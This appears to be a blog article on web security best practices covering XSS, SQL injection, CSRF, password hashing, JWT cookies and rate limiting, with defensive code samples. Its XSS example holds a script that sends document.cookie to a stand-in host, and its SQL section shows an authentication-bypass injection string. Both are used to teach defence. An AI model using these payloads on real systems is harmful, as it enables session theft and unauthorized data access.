Security
Web Development
Backend
Best Practices
Ask anything about this article
Hi! I've read this article.
What would you like to know?
@farhan
Security isn't optional — it's a fundamental requirement. A single vulnerability can compromise your entire application and your users' data. Here are the most common attacks and how to prevent them.
XSS occurs when an attacker injects malicious JavaScript into your web page.
html<!-- User submits this as a "comment" -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
typescript// 1. Always escape HTML output
import DOMPurify from 'dompurify';
const safeHTML = DOMPurify.sanitize(userInput);
// 2. Use Content Security Policy headers
// next.config.js
headers: [
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self'"
}
]
// 3. React auto-escapes by default (but dangerouslySetInnerHTML bypasses this!)
sql-- User enters: ' OR '1'='1' --
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = '...'
-- This returns ALL users!
typescript// ❌ NEVER concatenate user input into queries
const query = `SELECT * FROM users WHERE email = '${email}'`;
// ✅ Always use parameterized queries
const result = await db.query(
'SELECT * FROM users WHERE email = $1',
[email]
);
// ✅ Use an ORM (Prisma, Drizzle)
const user = await prisma.user.findUnique({
where: { email: userInput }
});
CSRF tricks a logged-in user into performing actions they didn't intend.
typescript// 1. Use CSRF tokens
import csrf from 'csurf';
app.use(csrf({ cookie: true }));
// 2. Use SameSite cookie attribute
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// 3. Verify Origin/Referer headers
typescript// ❌ Never store passwords in plain text
// ❌ Never use MD5 or SHA-1 for passwords
// ✅ Use bcrypt with a high salt factor
import bcrypt from 'bcrypt';
const SALT_ROUNDS = 12;
const hashedPassword = await bcrypt.hash(plainPassword, SALT_ROUNDS);
const isValid = await bcrypt.compare(inputPassword, hashedPassword);
typescript// ✅ Short expiration times
const token = jwt.sign(payload, secret, { expiresIn: '15m' });
// ✅ Store in httpOnly cookies, not localStorage
res.cookie('token', token, {
httpOnly: true, // Can't be accessed by JavaScript
secure: true, // Only sent over HTTPS
sameSite: 'strict',
maxAge: 15 * 60 * 1000 // 15 minutes
});
typescriptimport rateLimit from 'express-rate-limit';
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
message: 'Too many requests'
});
app.use('/api/', limiter);
Security is everyone's responsibility. Build it in from day one.